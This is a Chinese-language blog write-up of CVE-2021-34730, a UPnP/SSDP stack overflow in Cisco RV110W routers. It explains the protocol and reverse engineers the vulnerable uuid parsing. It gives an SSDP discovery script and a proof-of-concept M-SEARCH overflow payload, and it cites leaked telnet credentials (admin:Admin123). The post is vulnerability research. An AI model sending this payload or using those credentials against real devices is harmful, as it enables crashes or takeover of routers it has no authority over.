CVE-2021-34730-RV110W-upnp漏洞分析

本文最后更新于:2023年7月31日 上午

CVE-2021-34730-RV110W-upnp漏洞分析

笔者使用的固件版本为RV110W- 1.2.2.5。这个版本的固件存在CVE-2020-3330漏洞,运行了telnet服务且可以泄露telnet的用户名和密码,admin:Admin123。

需要注意的一点是,这里是upnp漏洞,需要保证upnp服务的开启。

image-20230731091721306

使用telnet连接到路由器,查看进程。

image-20230731091927631

漏洞描述

Cisco Small Business RV110W、RV130、RV130W和RV215W路由器的通用即插即用(UPnP)服务中的漏洞可能允许未经身份验证的远程攻击者执行任意代码或导致受影响的设备意外重新启动,从而导致拒绝服务(DoS)情况。

UPnP协议

UPnP(Universal Plug and Play),即通用即插即用协议。旨在简化和改进网络设备之间的互操作性和通信。它允许网络中的各种设备自动发现彼此,并建立连接,以便进行数据传输和共享资源。

UPNP协议栈如下图所示:

upnp

可以看到,upnp协议栈是建立在ip层之上的。upnp由ssdp(简单服务发现协议)、soap(简单对象访问协议)以及gena(通用事件通知框架)这几个协议构成。这里我们主要介绍ssdp协议。

SSDP(Simple Service Discover Protocol) 简单服务发现协议,这个协议是 UPnP 的核心。SSDP 使用一个固定的组播地址 239.255.255.250 和 UDP 端口号 1900 来监听其他设备的请求。任何设备即使不使用UPnP协议也都可以监听这个多播地址,收到其中的信息。

SSDP 协议的请求消息有两种类型,第一种是服务通知,设备和服务使用此类通知消息声明自己存在;第二种是查询请求,协议客户端用此请求查询某种类型的设备和服务。

这里我们写一个简单的脚本,模拟upnp客户端,向upnp服务端发送查询请求,查看路由器是否开启了upnp服务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import socket

msg = \
b'M-SEARCH * HTTP/1.1\r\n' \
b'HOST:239.255.255.250:1900\r\n' \
b'ST:upnp:rootdevice\r\n' \
b'MX:2\r\n' \
b'MAN:"ssdp:discover"\r\n' \
b'\r\n'

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
s.bind((b"192.168.1.71", 23333)) # 绑定本机IP
s.settimeout(2)
s.sendto(msg, (b'239.255.255.250', 1900))
addr = ('192.168.1.1', 1900) #
try:
while True:
data, addr = s.recvfrom(65507)
print(addr, data)

except socket.timeout:
pass

image-20230731090251849

这里我们收到了upnp服务端的响应,说明路由器确实是开放了upnp服务。

漏洞分析

upnp服务主要是在函数upnp_mainloop实现的。

image-20230730220317990

这里初始化upnp服务,然后根据flag的值,选择对应的实现逻辑,这里我们主要看upnp_dispatch函数。

image-20230730222028538

这里主要逻辑应该是初始化ssdp请求,然后upnp_http_process监听连接,最后发送upnp请求。

image-20230731101028423

调用了upnp_http_fsm_engine函数,这个函数不断调用fun_ptr函数指针数组的内容。

image-20230731101233468

函数指针数组内容如下图所示,这里我们主要关注upnp_http_fsm_dispatch这个函数。

image-20230731101323625

image-20230731101426794

这个函数的具体值需要我们通过动态调试获取。

image-20230731101722302

通过动态调试,可以确定该函数为sub_405b34

逆向分析该函数,可以发现该函数对uuid字段长度检验不严格,从而导致栈溢出。

image-20230730221246813

这里分析ssdp_msearch_response函数。

image-20230730221353931

该函数存在两个判断,需要过掉判断才能正常调用ssdp_response函数。

但是通过动态调试我们可以发现,这两个判断都是可以自动过掉的,所以我们也就不需要关注这两个判断。

最后返回到sub_405b34

漏洞验证

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import socket

targer_ip = "192.168.1.1"
target_port = 1900

payload = b'a' * 0xa0
payload += b'bbbb'

msg = \
b'M-SEARCH * HTTP/1.1\r\n' \
b'HOST:239.255.255.250:1900\r\n' \
b'ST:uuid:' + payload + b'\r\n' \
b'MX:2\r\n' \
b'MAN:"ssdp:discover"\r\n' \
b'\r\n'

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)

s.sendto(msg, (targer_ip, target_port))

image-20230731105353515

利用

剩下的利用可以参考笔者这篇文章。都是大同小异的流程。

参考文章

https://www.jianshu.com/p/5c1330632fc7

https://blog.csdn.net/andrewgithub/article/details/107372276

https://zhuanlan.zhihu.com/p/40407669

https://bbs.kanxue.com/thread-272634.htm

https://7ee1n.github.io/2021/10/11/ciscoRV130w/

https://badmonkey.site/archives/cisco-rv110w-upnp-0day


CVE-2021-34730-RV110W-upnp漏洞分析
http://example.com/2023/07/30/CVE-2021-34730-RV110W-upnp漏洞分析/
作者
l1s00t
发布于
2023年7月30日
更新于
2023年7月31日
许可协议